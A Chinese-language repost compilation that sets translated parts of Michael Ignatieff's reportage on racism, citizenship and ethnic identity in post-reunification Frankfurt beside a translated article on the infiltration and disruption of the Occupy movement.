15年之后，是否还能分辨出东德人和西德人？是否人人都将晒得黑黑的、说同样的美式英语？穿同样的皱巴巴的亚麻西装？看上去疲惫不堪、就像经历了一个星期的颠簸、正奔向出租车站的德国商人？

市场最终会将两个国家合成一个民族吗？

也许会。但是，记忆是顽固的、难以调和的。15年后，也许只有一个德国，但两个德国的记忆将在长得多的时间中继续存在。*Information screen at Frankfurt Airport. (Photo by Ulrich Baumgarten via Getty Images)*

法兰克福，我下榻宾馆的酒吧里有一台固定在墙上的电视机，我看到8点钟新闻。

字幕显示：“3个人在纵火袭击中丧生”。

“显然是来自右翼极端组织的暴力分子晚间杀死了三人。犯罪嫌疑人

放火焚烧了位于石勒苏益格—荷尔斯泰因州（Schleswig-Holstein）摩恩市的两座房子，房子里住的是土耳其家庭。一名妇女和两个女孩死于大火。”

“在两个打给警察局的电话中，纵火犯以‘嗨！希特勒 Heil Hitler！’挂断电话。”

在屏幕上，我看到了茫然的消防员，他们黄色的外套被水浸湿了，眼睛被烟雾熏得通红，正撤离这座被毁坏的两层楼砖房。带着一个小小的、闪闪发亮的绿色棺材。

“死者中有一名10岁的女孩。其母亲在摩恩已经居住了**20**多年。事实上，女孩是在这里出生的”。

我听到德国总理在电视上说：“发生在这儿的事情只能证明其自身的野蛮，完全不能为任何人类的感性所理解”。

他随后说的话有点奇怪：“此刻，我也要对我们的土耳其同胞公民，包括男性和女性，表达特别的慰问，他们在我们之中已经居住了多年”。

同胞公民？奇怪的失误。每个人都知道，土耳其人可能在西德出生，一辈子在这里工作、纳税，但是，他们不能成为公民。*There had been previous cases of far-right extremists setting fire to migrants' homes. But Mölln, 25 years ago, was the first time people died. A flame sculpture now adorns the house*

> “What am I supposed to do with a passport?” he says bitterly. “Hang it around my neck?” Will a passport make people stop calling him a dirty Turk? Will a passport make German workers share a cigarette with him on the factory floor? He has a Turkish face, and the formal rights conferred by a passport will not change the looks he gets from Germans.”

在法兰克福萨克森豪森（Sachsenhausen）区的美杜莎土耳其乐师正在为琵琶、手鼓、竖琴、齐特琴挑选乐曲。

男人和男人、女人和女人在跳舞、穿梭在桌子间，来往于这个位于街道之下、粉刷成白色迷宫一样的通道中，侍者们艰难地在沸腾的舞池

中移动，托盘上放着啤酒、烤肉串和土耳其沙拉。

20多岁的 Huseyn 和 Zu 都说着一口完美的德语。还是孩子的时候，他们从土耳其来到这里。德国是他们所了解的一切。

Zu 可以 —— 像人们说的 —— “完美地冒充德国人”：她有着俏皮的金发和浅色的皮肤，曾经为美国运通公司工作过，说那种怪怪的美式英语。这是法兰克福的第二语言，这种英语事实上是在宣称：“我不只是德国人，还是欧洲人”。

Huseyn 握着她的手，她轻抚着他胡须之上的面颊。我能感受到他们不愿意谈论摩恩的新纳粹袭击事件。他们宁愿把它抛开，这是又一个夜晚，让他们可以听齐特琴、跳舞，忘记外面大街上实际发生的事。

对于他们，实际问题不是愤怒或恐惧，尽管有很多这种东西。“当我听到总理表达他的歉意时，仅此足以令我爆发”，**Huseyn** 咕哝着说。

实际问题是他们现在归属哪里？他们是否可以归属任何地方。

“我不知道去哪里”，Huseyn 说，“我在这里长大，我讲德语。我爱土耳其，但那里不再是我的家园”。

随后他又说，“但我始终想着回去”。

他伸出手，再次握住 Zu 的手。

在德国，大街上他们可以在一起。由于父母不允许，他们不能住在一起，但是有一个通情达理的叔叔有时候让他们在他的住处过夜。

Huseyn 和 Zu 羞涩地笑了。现在，如果在土耳其，Zu 玩着她的啤酒杯垫说：“我是不可能这样做的。对他不是问题，但对我是问题”。

即使 Huseyn 最终能在这里获得公民身份，他觉得也不会有太大差异。“我应该拿护照怎么着呢？” 他痛苦地说，“把它挂在脖子上吗？”

一张护照会让人们不再叫他 “肮脏的土耳其人” 吗？一张护照会让德国工人在工厂里和他一起抽烟吗？他有一张土耳其人的脸孔，一张护照授予的正式权利不会改变德国人看到他的样子。

将来，Huseyn 也许会归属于德意志国家，但绝不会归属于德意志民族。*Innenstadt, Frankfurt am Main – Turkish Tourism Office*

第二天早晨，法兰克福当地一所学校的操场上，下着雨。孩子们和他们的父母跪在人行道上制作标语牌，牌子在雨中有点被淋花了。

标语牌和海报是孩子们写的，他们的话包括 “外国人是我们的朋友” 和 “我们都是土耳其人”。

大约有15名老师、父母和孩子，他们从操场出发，游行穿过社区。

我加入了游行队伍，穿过郊区下雨的街道。与这些孩子们肩并肩，他们的面孔满怀希望和天真，带有高尚情感举着雨迹斑斑的海报。

我告诉自己，我们正在行动。我们不会把自己算到沉默的大多数里面去。我们不是那些什么都不敢做的人。

当然，问题并不是体面的德国人会不会站出来。在数周和数月的时间里，有数以百万计的人站出来游行。但这种天真的、荣耀的道德自恋形式到底意味着什么？它说：我为我的国家感到羞耻，但我不对其最糟糕的行为负责。

所以当我们游行时，我们将自己与摩恩、罗斯托克、索林根，与一系列那晚的火苗、火把、弹簧刀、尖叫和靴子的踩踏产生联系的城镇，区别开来了。

在人群中，我遇到一个秃头的中年工程师，他和女儿拉手走着。我告诉他我刚从莱比锡过来。

“刚从东部回来，是吗？我一个人在这里待了六个月。真是个乱七八糟的地方。没有希望。没有人有体面的日间工作。我们不得不重新开始。他们 [东德人] 绝望、不可救药。从不停止抱怨”。

他战栗了。他说：“欢迎回家”。然后握紧女儿的手。

当然，他绝不会像如此随意地谈论他的德意志同胞那样谈论土耳其人。

奇怪的人们，互相之间如此地不喜欢。

小小的游行队伍在街道上行进，沉默的旁观者从旁边经过，脸上看不出他们对这些标语怎么想。

我开始和一个名叫 Sabine 的年轻女人交谈。她解释说，她的孩子太小，现在还没上学。那么她为什么来参加游行呢？

她有一张修长的漂亮面孔，锐利的蓝色眼睛，挽起的头发是褐色的，辫子垂在背后。说话的时候，她保持着一种微妙的、悲痛的距离。

“我不太确定，只不过是来了。只不过是没有坐在家里。”

她将黑色长外套拉紧，裹住肩头，打了一个寒颤：“现在这个社会有那么多的丑恶，那么多的仇恨”。

她的声音里带着苦恼：“我没办法让我的孩子们远离这些。我想要，但是没办法”。

我们沉默着走了很长一段时间，然后她停下来，抹了抹头发上的雨，似乎终于找到了解释自己为什么在这里的话：

“我害怕。在德国，我第一次感到害怕”。〇

—— 未完待续 ——

原文

渗透破坏、分裂和误导在抗议活动中广泛存在：政治渗透如何操作（3） - iyouport

社会反抗和思考维稳面面观

【2020年8月25日存档】控制你、操纵你、利用你的恐惧和偏执，以将你的独立反抗运动转化为符合他们的政党议程 ……

如果您还没有读过前面的部分，可以在这里回顾：

- 《过去和现在的线人：政治渗透是如何操作的？（1）》
- 《针对反抗运动的政治渗透：政府线人如何操作（2）》

在头五个月，“占领运动” 已经取得了重大胜利，改变了关于经济的争论。

然而，权力结构中的人和持有不同政治观点的人正在用一种传统的工具 —— 渗透 —— 来反击。

在全国范围内，”占领者 “正在与破坏和分裂、对关键人物的攻击、战术升级、到财产损失和警察冲突、以及滥用网站和社交媒体等问题作斗争。

正如上一部分内容将表明的那样，渗透是政治运动的常态。

不只有通常的执法机构，还有许多其他既得利益者也会渗透进来，以分化和破坏反抗运动。

这些家伙包括：“占领运动 “试图结束其统治的寡头企业、与企业利益结盟的保守右翼团体、以及权力结构的其他成员，包括企业资助的政党，特别是希望 “占领运动 “成为他们的茶党而不是批评两党的独立运动的那些与民主党结盟的非营利组织。

在占领华尔街的第一天，我们就看到了警察的渗透。

当时我们正要离开Zuccotti公园，在公园后方被拦住了。我们看到一辆无标志的面包车打开，前排座位上坐着两个身穿制服的警察，从后面走出来两个穿着背包、运动衫和牛仔裤的男子，他们是假扮占领者的。他们走进了Zuccotti公园，成为人群中的一员。

在华盛顿自由广场占领活动的第一周，我们看到了两个右翼渗透者的影响。

计划是在史密森学会的无人机展览现场进行和平抗议，在无人机下投下横幅，并在此死守。但是，就在抗议者到达展馆时，有两个人忽然跑出来，威胁保安人员，并导致保安人员向所有抗议者和游客喷射胡椒粉。

《美国观察家》杂志的助理编辑 Patrick Howley 写了一篇专栏，关于他自己作为特工的角色，作为挑衅者的存在。几天后，我们揭发了第二个潜入者，当时他在自由广场上鼓动人们用武力抵制警察（目的是合法化警方的暴力镇压）。

全国各地不断涌现关于渗透的报道。在奥克兰，CopWatch 拍摄到了一名奥克兰警察的渗透行为。

而且，在另一段视频中，CopWatch 收录了奥克兰警察局长 Howard Jordan 的录音，其中他讲述了全国各地的警察部门是如何进行渗透的 —— 不只是为了监视抗议者，更多是操纵和指挥抗议者。

在洛杉矶也有报道显示，在被警方强行驱逐之前，有十几名便衣警察在营地内进行了突袭。

洛杉矶警方的突袭行动非常残酷，结果是大规模的逮捕。虽然后来一些人被撤消了指控，但也有不少人在监狱里受到虐待。

田纳西州纳什维尔市也发生了类似的突袭前的卧底活动。

洛杉矶也有来自右翼组织 “自由共和国 “的渗透者。他们在自己的网页上发布了一个号召，要求阻止投票，阻止洛杉矶市为 “占领洛杉矶 “运动提供空间：“需要洛杉矶的自由党人出面阻止投票，你有多勇敢？”。 最后，洛杉矶的占领者决定不接受该市的提议，这也遭到了营地内其他成员的反对。

在纽约也有关于渗透的报告。例如，一名抗议者描述了卧底警察是如何渗透到花旗银行的抗议活动中去的，而且是作为最高调的和最具破坏力的抗议者角色。

直到听到了警察的对话，这位抗议者在接受采访时说，“他们的内幕信息是多么的让人吃惊 —— 他们是如何被人雇佣拿钱去参加这些抗议活动，让我们处于被逮捕和被围困的境地。”

共同的战术、共同的渗透者

「图」

这些零散的报道似乎只是冰山一角。

自从我们自己亲历了极端分裂的战术和人格暗杀迫害后，我们开始听到全国各地的占领者讲述他们在占领运动中遭遇的类似事件。

我们决定就渗透事件与人们交谈和进行调查，由此在全国各地发现了类似的故事。

最近我们参观了西海岸的占领活动，在那里，我们与许多占领者交谈，并出席了占领华尔街和费城的大会。

在亚利桑那州，我们听到了一些故事，有人用网站的管理权限删除了直播流档案，其中包括一些被逮捕的人的辩护视频。

在宾夕法尼亚州的 Lancaster，有人[渗透者]控制了电子邮件列表，使其成为一个仅仅是公告的列表，当警方威胁要关闭营地时，这个渗透者发表了一份声明，说 Lancaster 的占领者已经决定在没有任何冲突的情况下离开。

事实上，从来没有做出过这样的决定，30名占领者曾计划在警方试图将其清除时冒着被捕的危险继续坚守。这封假邮件的结果是没有引起任何抵抗。行动被废了。

我们的西海岸之旅在“占领奥林匹亚团结社会论坛“上结束。我们调查了41名代表来自15种不同职业的人。参与者被问及10种不同的行为，最常见的行为，大约有三分之二的受访者被问及，其中最常见的行为是：

1、扰乱大会，企图分裂组织。

渗透者会以紧急项目或以个人需要/问题干扰大会议程。当提出关于占领的原则或防止分裂的计划的提案时，渗透者会质疑提案作者的权威、进行人身攻击或质疑其能力。经常有人攻击那些做了最多工作并被认为是领导者的人。

许多真正的占领者的反领导观点被利用来攻击组织中最有效的人。

Sue Basko 在洛杉矶的一篇评论 Chris Hedges 的文章中写道：“对占领洛杉矶的参与者和志愿者进行了 “持续的骚扰和胁迫运动。每一天都有新的受害者“。

她描述了利用推特、列表服务和博客来 “诋毁和骚扰任何付出努力帮助占领洛杉矶的人“。

这包括对 “社交媒体工作者、网站团队、律师（包括我）、医务人员、现场直播者、撰稿人等等 “的攻击。

她还写道，”有一种非常强烈的信念，认为他们中的一些人是FBI或国土安全部的特工，他们被安排在那里破坏这个组织，制造危机，并对其进行控制。”

在洛杉矶与其他人谈话后我们证实了这一报告。

我们在人身攻击方面的经验包括，称我们为罪犯和小偷的离谱谎言、以及几乎每天都会发生的邮件攻击。我们发现，当我们回应和纠正谎言时，并不能阻止他们，也无法得出结论，如果有人有意成为人格暗杀刺客，除了揭露他们之外，你没有任何办法阻止他们。

虽然揭露也不一定能阻止他们，但至少能让那些不会轻信的人对毫无证据的人身攻击产生怀疑。

2、渗透者占领了网站和/或社交媒体，然后将内容删除或黑客入侵并控制它们。

如上所述，这些网络被用来进行人身攻击（抹黑运动），以及向媒体和其他占领者发送虚假的信息。

反抗组织的操作误区之一就是让太多人拥有网站的管理权限。

有管理员权限就可以删除关键信息，就像在凤凰城发生的那样。在华盛顿特区，我们创建的一个 Facebook 页面已经被删除，因为我们允许了那些原本不值得信任的人拥有管理员权限。

请注意，人们可以在没有管理员权限的情况下在 Facebook 或网站上发表博客或帖子。

50％的受访者报告说，在15个职业中有12个职业的人一直质疑资金

的透明度和使用情况。

在纽约和费城的聚会上，我们看到抱怨钱的问题的人对组织的破坏。在纽约，一场关于获得免费地铁卡的争论导致了30分钟的停摆。而在费城，人们只是含糊地抱怨“钱在哪里？”

我们在旧金山也看到了类似的事，其中一个提问者抱怨说钱不见了。而且在华盛顿特区也有同样的事，有的人谎称丢了钱。

有时，这些破坏者看起来就像神经症或情绪失控的人。他们可能是出于自己的担忧，也可能是在警方的怂恿下，渗透组织制造混乱，并且可以获得少量报酬。

⚠ 不管这些捣乱者有没有拿报酬，影响都是一样的 —— 它使“占领“脱离了政治议程，使人们不再参与这项运动。

最后是战术升级的问题，包括财产损失和与警察发生的冲突。

这个问题的委婉说法是“战术的多样性“。事实上，非暴力战术内部存在着很大的分歧。这实际上是赞成战略性非暴力的人和赞成破坏财产和警察冲突的人之间的辩论。

在15个职业中有11个职业报告称对警察进行了口头攻击和/或将战术从非暴力升级为破坏财产或暴力。

在一次占领行动中，有一个人接管了直接行动工作组，并将所使用的战术升级到了工作组商定的范围之外。

在另一次占领行动中，由于少数占领者拒绝采取非暴力策略，与教师工会的联合抗议活动被取消，阻止了一次扩大运动的重要机会。

⚠ 在谈到暴力与财产损失的问题时，特别难以分清究竟是政治上的分歧还是渗透者的煽动。

在15个职业有8个职业(41%的受访者)报告说，民主党团体试图利用该职业推动或阻止立法议程，或利用该职业的社交媒体改变抗议或会议时间。

报告怀疑或有证据显示右翼渗透的受访者要少得多（4个职业中12%的受访者），大部分受访者表示企业媒体提供的报道不力或存在误导性。

最常见的渗透形式是执法机构操作的（49%的受访者这样认为）。一些受访者报告说有录像证据，令一些受访者报告说，执法人员掌握的资料比他们应该得到的更多，比如警方在抗议者从未提供姓名的情况下使用了抗议者的真实姓名，一些受访者怀疑警方渗透，但没有证据。

当然，这里面有很多疑点，人们很少能证明有渗透。

这些事件可能是运动内部真正有政治分歧的人造成的，也可能是情绪不稳定的人、精神有问题的人，或者是带着其他的个人动机的人。

☞ 或者，是潜入者操纵这些人，利用他们的恐惧和偏见。

这不是一个简单的问题 —— 总之。最好以行为来判断人，在没有直接证据的情况下，不要给他人贴上渗透者的标签。

有些人可能会问，为什么民主党人或与民主党关系密切的团体如 MoveOn、美国未来运动、重建梦想、或工会如SEIU等，会想渗透到 “占领 “中来？（注：民主党人，工会，MoveOn 或其他团体的成员与领导层不同）

从本质上说，这些团体的领导人将 “占领 “视为民主党对茶党的潜在答案。占领者并不这样看自己，但这些团体希望占领者采取他们在民主党内部工作的策略。

有一个例子，曾参与过 “占领华盛顿特区 “活动的SEIU高级政策分析师 Eric Lottke 与另外两名 “占领华盛顿特区 “和 “占领奥克兰 “的行动者一起出现在一档电台节目中。

Lottke 说，他是以 “占领华盛顿特区 “活动家的身份发言，谈到 “2012年夺回国会“、选举战略的必要性等问题发表了民主党惯常的言论。

另外两位嘉宾说， **Lottke** 完全不符合大多数占领者的观点，他们说我们不应该把注意力放在选举政治上，而是应该建立一个独立的运动来挑战腐败的制度。我们怀疑占领者大会是否同意 Lottke 的亲民主党、亲奥巴马的观点，但 Lottke 将自己定位为代表他们说话的人。

同样，”重建梦想” 组织的 Van Jones 也在媒体上出现，就好像他是占领运动的代言人，他再次试图将占领运动推向民主党的选举政治。

这只是许多民主党特工人员试图将 “占领运动 “推入民主党政治的诸

多案例中的两个，请注意：该运动一直将自己标志为独立的、非选举性的。

毫无疑问，这篇文章中的资料是不完整的。我们非常希望听到全国各地的人讲述他们的经历，因为了解这些渗透策略是对抗和解决这些渗透的第一步。

从这段历史中可以看出一件事：一个世纪以来，政治运动中的渗透是如此普遍的存在，分裂、攻击反抗组织领导人、手段升级、争夺金钱和向公众提供错误信息等手段，都是普遍存在的。〇

Infiltration to Disrupt, Divide and Misdirect Is Widespread in Occupy

原文

柏林墙倒了吗？（4）：种族的神秘性 - iyouport

免费书和纪录片社会反抗和思考

【2020年6月10日存档】“我们太乐观了，我们从来没有解决过去”。弗洛伊德在哪里说过，认知和认知是不一样的。意思是：你可能在头脑中应对某件事，而不是在你的内心和勇气中应对它。努力解决某事是治疗方法的全部：将知识从你的头脑中移动到躯体，从意图转向行动。然而……

如果您还没有读过前文，在下面看到：

- 《柏林墙倒了吗？（1）：五味杂陈的卡巴莱》
- 《柏林墙倒了吗？（2）：条顿式媚俗和莱比锡翻页》
- 《柏林墙倒了吗？（3）：”我第一次感到害怕”》

> I had heard nothing about this revolt against obedience in Leipzig, of course. It is another part of postwar German history that the two Germanys never actually shared

法兰克福三分之一的人口出生在国外：南斯拉夫人、土耳其人、西班牙人、希腊人、意大利人以及140个更小的民族。

他们的共同点是，都没有公民权利：不能投票也不能获得公务职位，他们的地位 —— 即使是出生在德国 —— 一直是临时的。

在法兰克福市中心的伏尔泰咖啡馆（Café Voltaire）的吧台，Rosa Wolf 向我解释了这些事实。

她为市政府的 “多元文化局” 工作，她不知道自己部门所做的工作能否阻止这个城市正在高涨的仇外潮流。

并且，如果右翼赢得了下届选举，他们可能把她的部门关闭。

当地基民盟（CDU）的一个政客已经写了一篇文章，将寻求庇护的人和毒品泛滥、骗取福利联系在一起。 Rosa Wolf 公开要求控告他种族煽动。而市长批评她（而不是那个作者）破坏作为公务人员的政治中立性。

Rosa 充满活力，不拘泥于教条，而又坚定不移。

我们发现彼此拥有很多共同之处。我们都是60年代的孩子，我们活的时间足够长，足以让我们看到青年时期的偶像变成了博物馆的陈列物。

伏尔泰咖啡馆曾经是法兰克福左翼反文化的中心，现在它为法兰克福出版商承办书籍首发式。

从前，它是策划反对美军基地的狂热游行的地方，现在，我们身后墙上挂着 Rosa Luxemburg、Friedrich Engels、Karl Marx 的印制画像，似乎是对失落幻象的暧昧、伤感的纪念。

“我们曾经想改变德国社会”，她悲伤地说，似乎知道这样的想法现在看上去有多么奇怪，“我们需要它变得不那么顺从。但麻烦在于，我们成功了”。

她以扭曲的细节将自己的困难和孩子们的困难分开。从**1968**年过来的父母经常发现他们说过的话重新浮现，萦绕着他们。

当然，在莱比锡我没有听到任何关于这个反抗顺从的事情。它只是战后德国历史的另一部分。两个德国从未共同拥有过这一历史。
Chancellor Konrad Adenauer (second from left) helped rebuild Germany’s political system after WWII. Under his leadership, the CDU remained the country’s strongest party even after his departure in 1963

> Freud says somewhere that there is knowing and there is knowing and they are not the same. Meaning: you can confront something in your head without confronting it in your heart, your guts. Working through something is what therapy is all about: moving knowledge from your head to your body, from intention to action

“我们公然谴责父母是法西斯。我们从家里搬出去。那是非常痛苦的，但是我们想，不管如何，我们会为自己创造一种新的身份”。

她继续说，对顺从的反抗是非常非常好的。问题是它导致70年代旧的青少年惩罚机制的崩溃。

“所以现在，这些16岁的少年在摩恩、罗斯托克和索林根用燃烧弹袭击庇护者或移民之家”，却得不到惩罚。他们只是嘲笑警察”。

现在，她悲哀地发现，对顺从的反抗是对德国过去的反抗，但不是真正地面对过去。“我们太乐观了，我们从来没有解决过去”。

我俩默默地沉思了一会，想着 “解决” 过去意味如何。弗洛伊德在哪里说过，认知和认知是不一样的。意思是：你可能在头脑中应对某件事，而不是在你的内心和勇气中应对它。努力解决某事是治疗方法的全部：将知识从你的头脑中移动到躯体，从意图转向行动。

（译者注：还记得我们在列表-5 的简介中写的字吗？—— 直接行动是一种疗愈。可以说是最好的疗愈。中国社会当前的心理问题呈现爆发式增长，人们需要思考这个问题）

但没人知道，与一个民族相应的疗法可以是什么。

没有人知道，一个民族如何才能努力排除一切、达到那种深刻的认知。

Rosa 意识到的是重新统一标志着某种终结，但是，远非一种开始。整个德国社会都还在努力就这个终结达成共识。

“每一个在战后成长起来的人都曾认为这种生活将会永远持续下去。你知道，那个清晰的、有组织的德国，那个相信每一样事情都可以被组织起来的德国。1989年以来，我们已经进入了真实的世界。我们经济的增长走到了终点。随着柏林墙的倒塌，我们不再能感受到曾经在我们的小花园中感受到的那种安全了。我们知道有种东西一劳永逸地结束了”。

（译者注：请注意这是来自前西德公共事业部门员工的话）

随着某种东西的终结，过去重现了，但并不像人们所期望和希望的那样。

Rosa 举起双手，做了个俏皮兴奋的手势。“所有这些德国人现在都说‘40年来我们不得不沉默，现在，我们终于可以说，我们是德国人’。然后他们说：‘而且，我们出生得太晚，没有任何东西要隐瞒’。” 她笑了，笑那些人、笑她自己曾经相信 “反对顺从的反抗” 将会令古老的

德国永远噤声。

她突然说：“我们犯了一个错误。我们从不讨论民族。我们相信我们已经超越了民族”。她讽刺性地指了指身后那些名人画像，“我们曾经是国际主义者，记得吗？”

“你们也犯了一个错误”，这指的是德国的邻居们。“你们禁止我们解决我们的过去、与过去妥协，像一个民族应该做的那样”。

我说：“你的意思是说，世界上其他地方从不允许德国人对他们应该感到自豪的东西自豪？”

“正是这样”，她说。惊讶地发现，在反对顺从的革命发生25年之后，在认为 “民族” 是一种对傻子和复仇主义者的归类的25年后，她得出了这样的结论。*On the left: “Women! Equal rights – Equal duties – Vote Social Democrat – Social Democratic Party of Germany.” On the right: “He, Karl Marx, showed us the way. His lesson is our lesson”*

K先生的白马

「图」

> 关键任务应该是恢复人们的自信。我将这一族群界定为受伤的民族 …… 我的感觉是，只有这个族群恢复其作为一个民族的天然自尊，才会得到自在。当你拿走一个人的自尊时，他会深深受到伤害，对一个民族来说也是一样的 —— Elizabeth Noelle-Neumann 舆论研究者，德国，1992

“为什么我们是欧洲唯一不能为自己自豪的民族？” K先生痛苦地问我。

这个问题在我们之间久久回荡，我已经无数次在法兰克福听到这个问题。

我们是在法兰克福城外的一个村子里。他的小平房就在这里。他盯着我，仿佛我应该为他不被允许以德国人的身份自豪而受到谴责。问题是，我并没有说过一句话。

然后他站起来，轻快地问：“想看看我的马吗？” K先生热爱他的马，一匹白色的阿拉伯种马，他养在自己房子后面的小牧场里，位于法兰

克福以北的一个有人居住的小村庄。

他对马的热爱 —— 浪漫的、极端的、纯真的 —— 正像他对德国的爱。

他爬上他的战马光溜溜的背，告诉我他是如何读着卡尔麦（德国通俗文学作家）关于讲德语的牛仔驰骋远方的小说长大的。

“我的马”，他说，“使我的梦想成真”。然后他驰骋而去。

他想做一名牛仔，他想要这里变成讲德语的狂热西部。

不幸的是，他已经是一个秃头的53岁的男人，一个退休的监狱官员，这里是一片小小的泥泞空地，四周围着栅栏。他没有 “疾驰而去消失在日落之下”，而是忧郁地转了回来和我继续说话。*“He would like to be a cowboy and he would like this to be a German-speaking Wild West”*

> “Multiculturalism is the problem. We will have no culture at all if we go on “in this way”. But Turks in your country speak German, live in a German way. Why can’t you admit them as citizens?

跟他这个年纪大多数的德国人一样，他自豪地告诉我，他属于第一代足够幸运的德国人，出生得够晚。

哪里够晚？我问。

够晚，不会对任何东西有负罪感，他带着忧郁的轻笑回答道。

他只记得1945年冬天燃烧在柏林的红云。俄国人进入这个城市的时候，他和母亲逃到法兰克福北部青山之中的这个村子。现在，在监狱里服务25年之后，他作为右翼共和党候选人参加了在黑塞举行的地方政府选举。

德国政治正在向右转，推动它转向的正是像K先生这样的人。他知道自己将会当选：他是一名优秀的政治家，能够感觉到风正转向他的方向。

“Ignatieff, Ignatieff”[作者的姓氏]，他沉吟着说。我们正在他村子里的一家餐馆一起喝啤酒。“那是什么样的名字？” 我告诉他这是什么样的名字。他继续说，无意冒犯，但斯拉夫人就是不知道该如何工作。看看他们在俄罗斯制造的灾难。

我反击说，是人的原因还是体制的原因呢？他回答道，绝对是人的原因。如果他们拥有德国人的素质就好了。

“我们是干净的民族，一个自尊的独立的民族”，他说。

他对这座郊区的木屋特别引以为豪，那是他和他的妻子亲手打造的。房子里的墙上挂有大量自然风景画（他说“来自我的祖先”），书柜里放着《布洛克豪斯百科全书》、以及收集的席勒和歌德的作品。

这是一个谦逊的布尔乔亚对某种德意志理念的纪念。

离K先生漂亮的乡间别墅10公里远的地方，有一个为避难者设立的帐篷城市。他开车去那里，我们站在围墙外面，看里面成排的帐篷，泥地里用木板铺成的走道，还有一对忧郁的非洲人，在雨中互相给对方理发。

K先生特别想让我知道，需要零花钱的德国女人来到这里做清洁工作。他说，你能想象吗？一个黑人把烟灰磕在地板上，而一个德国女人跪下来把它扫掉。不，不能再这样下去了。

（译者注：很真实地反映了保守派民族主义者的思考方式）

然后，他的温和又回来了。他的肩膀随着他奇特的、阴郁的笑容而抖动。他说，难民法是有一种“德国自大狂的典型拼凑”。还有其他国家会梦想让自己成为全世界的福利官吗？

他特别欢迎那种相信德国生活方式正遭受攻击的人。他就是这样，因为他知道他的党不会输。避难的宪法权利已经被取消，共和党已经因为高调发声而获得信任，而其他党派只敢悄悄地说话。

但K先生说，收紧避难程序并没有触及问题的根本。现实问题是，德国人在他们自己的国家没有像是在家一样的感觉。法兰克福有30%的人口是外国人。“你现在知道我为什么要住在乡间了？”

多元文化主义是问题所在。如果我们“以此方式”继续下去，我们将不再有自己的文化。

但是，你的国家里的土耳其人说德语，过着德国的生活。你们为什么不承认他们是公民呢？

“我们是德国人，他们是土耳其人”，他说。

对于K先生观察这个世界的方式而言，种族主义是过于简单的一个词。关于“他们”嗅闻的方式、或者“他们”烹调的方式，一个种族主义者通常有某种幻觉。

K先生似乎不会受到任何恐惧症的折磨。种族主义本质（Ethnic essentialism）对于他的立场而言是一个更有想象力的词，并且可能更为准确。他相信，身为德国人界定了他可能认知、理解或同情的限度。

K先生并不孤独。一整个星期里，我遇到的都是自由派德国人。他们不会被视为和K先生一样的死硬，但是，由于社会势利和政治信念的混杂原因，他们说着和K先生一样的话。

他们都觉得，伴随着避难危机，自由主义的德国意识已经到了“关键时刻”。“不能再这样下去了”，他们都这样对我说，“我们最终会不知道我们是谁”。

K先生不会认可我说共和党人一直在孜孜不倦地为暴力煽风点火，然后再极力谴责暴力。谴责电影电视中的暴力，谴责我们的青年人中的道德丧失。不要将它归责于我，也不要将它归责于我的历史。

为什么德国人要为这些袭击受到谴责？为什么你们不让我们与自己和平相处？K先生再次问我，似乎我是他的罪恶的来源或是他免罪的途径。

我的印象是，德国人喜欢他们自己，喜欢自己的民族是件好事，只要他们接受那个确实存在的德国、拥有1945年之后边界的德国，那个容纳数百万外国人的德国。

K先生的问题不在于他是一个民族主义者，而是，他是一个民种族主义者却事实上憎恨他所居住的德国。

他想要一个德国人的德国。而现在这里已经有600万外国人。他想要的德国是遵守法律、干净、有序、女人留在家里、电视不向年轻人宣传色情和暴力的德国。

换言之，它是一个20世纪30年代和60年代都从未存在过的德国。

他继续说，“它是一个安居乐业、和平相处的德国”；他搜索着词汇，“你们英语怎么说？啊，是的，安宁（serene）”。

一个安宁的德国，是他在儿童时期从卡尔麦的故事中听到的梦幻之

地。在他的政治白日梦之中，他骑着他的白马穿过德国纯净空阔的土地。那个德国即使曾经有过，现在也已不再存在，并且，除非以其他民族的自由以及一些土耳其人的鲜血为代价，它无法成为现实。
Critics accuse the AfD of giving hate and intolerance a platform. Their political gains have prompted angry responses from Germans dismayed at the reemergence of values associated with right-wing extremists and Nazis

> These families are among the most puzzling of the many streams of migration pouring through the gates of Europe. They are ethnic Germans flooding back—at a rate of 100,000 a year—from every quarter of the ruined empire in the East.

故乡

「图」

在法兰克福机场，每个晚上都可以看到她们走下来自莫斯科的航班，迈出她们迷茫的第一步，进入这个应许之地。

健壮、冷漠的女人们穿着结实的冬靴、带着花头巾，她们笑的时候，你可以看到两排黄色的牙齿；男人们戴着羊皮帽，穿着冬衣，忙活着他们的行李，看上去他们似乎需要一杯伏特加；脸色苍白的孩子们穿着田径服和廉价的滑雪衫，不安地紧跟着妈妈。

西德的商人们用胳膊肘推开他们，去往出租车站。这些家庭迈着梦游者一般不知所措的步伐，走进这个据说是 “自由的地方”。

他们登上巴士，前往临时难民营。你听他们窃窃私语，用的是俄语。但如果你靠近他们，觉得窘迫的人会陷入沉默，而机灵的人则大声告诉你：“我是德国人 Ich bin Deutsch”。用的是德语。

即使已经通过了护照检查，他们还是有些怀疑；你一定是个警察，会因为他们声称自己是德国人但实际上不是德国人而把他们扔回飞机上去。

在众多汹涌通过欧洲各关口的移民人潮中，这些家庭是最令人困惑的。他们是从被摧毁的东方帝国的每一个角落回流的德意志族人。每年10万人。

德国是仅有的允许他们流失的族人回归的两个现代国家之一，另一个国家当然是以色列。两个相信民族性在于血缘的民族，都慢慢发现，血缘纽带真的会变得薄弱。*Russian speaking residents in Germany are not indifferent to the refugee crisis. Most appear to be opposed to refugees . Yet there are others in "Russian Berlin."*

> Such a scene brings you face-to-face with the mystery of ethnicity.

"必须告诉他们用完后要冲马桶！" 住在法兰克福郊区的一个俄罗斯德意志人定居点里，一个德国社会工作者这样跟我说。

从未听说过室内厕所、淋浴或私人浴室的家庭们必须被重新告知，"传统的北德意志新教徒就是干净和美德的同义词"。

在这个定居点的餐厅，我看到一个交通警察耐心地告诉一群六七十岁的老人如何按照交通指示灯过马路。老人们无动于衷地听着，仿佛还是在听党和工厂领导人的讲话。

警察让老人们站起来，练习把头转向左边，再转向右边，以便在他们过马路时不会被他们富有的 "房东" 的宝马车撞倒。

这样一个场景让你直面种族的神秘性。

这些人看上去像俄罗斯人，他们的习惯和心智还是苏维埃式的；他们的祖先300年前离开德国，越过当时神圣罗马帝国的东部斯拉夫边界地区，定居、殖民。异族婚姻淡化了与已消逝的过去联系的纽带。

然而，如果你问他们，他们的 "故乡 Heimat" 在哪里？他们会环顾这个法兰克福旅馆的狭窄房间，并骄傲地说："这里"。对于他们中年龄最大的人而言，他们是回家来等死的。

"一直以来我的梦想是死在这里"。Olga Oschetzki 说。她那双俄罗斯农民的大手交叠在面前的油毡桌布上。

